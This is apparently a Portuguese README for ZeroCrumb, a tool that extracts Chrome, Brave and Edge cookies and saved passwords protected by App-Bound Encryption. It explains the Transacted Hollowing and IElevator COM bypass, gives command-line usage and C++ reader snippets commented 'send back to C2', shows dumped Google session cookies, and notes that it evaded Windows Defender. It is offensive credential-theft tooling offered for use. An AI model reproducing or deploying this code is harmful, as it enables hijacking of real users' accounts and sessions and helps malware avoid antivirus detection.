
Extraindo Credenciais & Cookies Protegidos por App Binding Sem Privilégios.
Extraindo Credenciais e Cookies Protegidos por App Bound Sem Privilégios.
ZeroCrumb contorna o Chrome Elevation Service ao se passar por uma instância do Chrome usando Transacted Hollowing, efetivamente permitindo-nos usar a interface COM IElevator para descriptografar a App Bound Key.
Em seguida, o key dumper executando na instância do Chrome oca enviará a chave descriptografada de volta para o ZeroCrumb via um Named Pipe.
Após isso, o ZeroCrumb descriptografa os cookies/senhas para o navegador especificado com a chave obtida anteriormente.
O uso de named pipes no ZeroCrumb permite que qualquer programa, desde que possa usar a API do Windows, se conecte ao named pipe do ZeroCrumb e leia a App Bound Key dele.
Se você quiser usar o ZeroCrumb como biblioteca, precisará compilar uma DLL que exporte uma função que faça o hollowing do Chrome com o key dumper. Você também pode precisar incorporar o PE do key dumper na seção .rsrc da DLL compilada e depois obtê-lo com as APIs de recursos de aplicativos do Windows.
Você pode executar isso em qualquer diretório de sua escolha, desde que o key dumper esteja no mesmo diretório.
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
ZeroCrumb fornece classes CookieReader e PasswordReader fáceis de usar:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb requer duas dependências do Vcpkg:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
Você pode modificar o ZeroCrumb para funcionar com qualquer tipo de credencial além de cookies e senhas.
Esta não é de forma alguma a implementação mais furtiva desse bypass, pode ser detectado verificando strings específicas, hooking de APIs, etc.
No momento em que estou testando isso, passou pelo Windows Defender, mas não verifiquei outros AVs.
Deixarei tornar o bypass mais furtivo como um exercício para o usuário, caso esta implementação de bypass seja sinalizada no futuro.